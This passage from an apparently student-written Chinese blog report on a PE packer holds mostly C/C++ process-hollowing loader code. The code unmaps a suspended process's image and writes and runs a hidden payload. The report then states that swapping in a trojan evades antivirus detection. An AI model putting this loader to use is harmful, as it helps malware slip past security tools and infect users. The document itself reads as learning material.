	Decode(src,sections.SizeOfRawData);
	getInfo(src);
	char* image = memcopy_image(src);

	STARTUPINFO si = { 0 };
    PROCESS_INFORMATION pi;
    si.cb = sizeof(si);
 
    //以挂起的方式创建进程                                   
    CreateProcess(
        NULL,                    // name of executable module                              
        FilePath,                // command line string                             
        NULL,                   // SD           
        NULL,                      // SD                       
        FALSE,                   // handle inheritance option                            
        CREATE_SUSPENDED,       // creation flags                            
        NULL,                    // new environment block                               
        currentDirectory,       // current directory name                              
        &si,                  // startup information                               
        &pi                   // process information                              
    );
	CONTEXT contx;
    contx.ContextFlags = CONTEXT_FULL;
     
    GetThreadContext(pi.hThread, &contx);
 
    //获取入口点                                
    DWORD dwEntryPoint = contx.Eax;
 
    //获取ImageBase                                  
    char* baseAddress = (CHAR *)contx.Ebx + 8;
    DWORD imageBase = 0;
    SIZE_T byteSize = 0;
 
    //因为属于别人程序所以使用这个读
    ReadProcessMemory(pi.hProcess, baseAddress, &imageBase, 4, &byteSize);
	typedef long NTSTATUS;
    typedef NTSTATUS(__stdcall *pfnZwUnmapViewOfSection)(
		IN HANDLE ProcessHandle,
        IN LPVOID BaseAddress
     );
         
	pfnZwUnmapViewOfSection ZwUnmapViewOfSection;
	ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
    if (!ZwUnmapViewOfSection)
    {
        ::TerminateThread(pi.hThread, 2);
        ::WaitForSingleObject(pi.hThread, INFINITE);
        return 0;
    }
        //卸载文件外壳镜像
    DWORD a = 0;
    a = ZwUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);
	LPVOID status = NULL;
    //指定区域分配地址
    status = VirtualAllocEx(pi.hProcess,
        (LPVOID)headers_file.ImageBase, headers_file.SizeOfImage,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);
	/*if (status == NULL) {
        //判断有没有重定位
        if (isRelocation(image)) {
            ::TerminateThread(pi.hThread, 2);
            ::WaitForSingleObject(pi.hThread, INFINITE);
            return 0;
        }
        status = VirtualAllocEx(pi.hProcess,
            NULL, headers_file.SizeOfImage,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);
        if (status == 0) {
            ::TerminateThread(pi.hThread, 2);
            ::WaitForSingleObject(pi.hThread, INFINITE);
            return 0;
        }
        //修复重定位
        ModificationBaseRel(image, (DWORD)status);

    }*/

	SIZE_T srcResult = 0;
    WriteProcessMemory(pi.hProcess, status, image, headers_file.SizeOfImage, &srcResult);
    //修正context结构
    SIZE_T oepResult = 0;
    WriteProcessMemory(pi.hProcess, baseAddress, &headers_file.ImageBase, sizeof(DWORD), &oepResult);
    contx.Eax = headers_file.EntryPoint + headers_file.ImageBase;
 
    SetThreadContext(pi.hThread, &contx);
        //记得恢复线程
    ResumeThread(pi.hThread);
	
	return 0;
}
  • 效果展示

在物理主机中,总是被360检测为病毒,此过程在虚拟中进行。我采用笔记本程序NOTEPAD.exe程序作为原程序,进行加壳

 

 生成了加壳后的程序,命名为4310.exe

运用PE工具,与NOTEPAD.exe进行pe结构比对

 

 

 

 可以看到pe结构根本不同,因为这里分析的是壳子程序的PE结构,但双击运行

 

 

 运行的是壳子程序,但是壳子程序在4GB虚拟内存中,把自身卸载掉,然后换上存储在节中的原程序(此处就是NOTEPAD.exe),也就达到如此效果,如果把NOTEPAD.exe换成木马程序,就能实现文件免杀的效果。

四、总结

这个项目从刚开学就开始做了,中间停滞了一段时间(复习考研),导致后来继续的时候,一些模块丢失,不能把逆向进阶和加壳的程序代码加到PE工具图形界面中,有些遗憾,但是预期效果都达到了,下一步的学习就是向内核(0环)进阶。

 

posted @ 2020-06-17 21:14  20174310隋润起  阅读(182)  评论(0编辑  收藏  举报